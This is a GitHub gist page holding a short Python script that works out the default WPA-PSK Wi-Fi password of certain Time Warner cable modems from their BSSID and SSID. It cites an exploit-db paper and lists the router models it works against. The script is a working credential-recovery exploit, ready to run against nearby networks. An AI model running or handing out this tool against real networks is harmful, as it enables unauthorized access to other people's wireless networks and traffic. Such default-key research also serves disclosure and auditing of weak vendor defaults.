Skip to content

Instantly share code, notes, and snippets.

@RealEnder
Created May 4, 2018 04:25
Show Gist options
  • Save RealEnder/041b8222fcf460c6d6c7067f3152dcab to your computer and use it in GitHub Desktop.
Save RealEnder/041b8222fcf460c6d6c7067f3152dcab to your computer and use it in GitHub Desktop.
TWC algo
#!/usr/bin/python
import sys
if len(sys.argv) != 3 or len(sys.argv[1]) not in [12,17]:
print 'TWC WPA-PSK generator (c) 2015, 2017 v0.2 by Alex Stanev <alex@stanev.org>'
print 'Usage: '+sys.argv[0]+' [BSSID] [SSID]'
exit(1)
# SSIDs
# Taken from https://www.exploit-db.com/docs/english/38082-compromising-isp-issued-802.11-wireless-cable-modem-networks-for-profit.pdf
# Works with DG860A, TG862G, TC8717T
# NOT working DDW3611, U10C022, DWG875, SBG6580, DDW365, DVW3201B, TG852G
ssid = ['TG852G',
'DDW3611',
'U10C022',
'DG860A',
'TG862G',
'DWG875',
'SBG6580',
'DDW365',
'DVW3201B',
'TC8717T']
# Cleanup
bssid = sys.argv[1].replace(':', '')
bssid = bssid.replace('-', '')
bssid = bssid.upper()
if len(bssid) != 12:
print 'Short BSSID'
exit(2)
ss = None
for s in ssid:
if sys.argv[2].startswith(s) and len(sys.argv[2]) == len(s) + 2:
ss = sys.argv[2].upper()
break
if ss == None:
print 'Unsupported SSID'
exit(2)
# Calculate PSK
print ss[:len(ss)-2] + bssid[6:10] + ss[-2:]
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment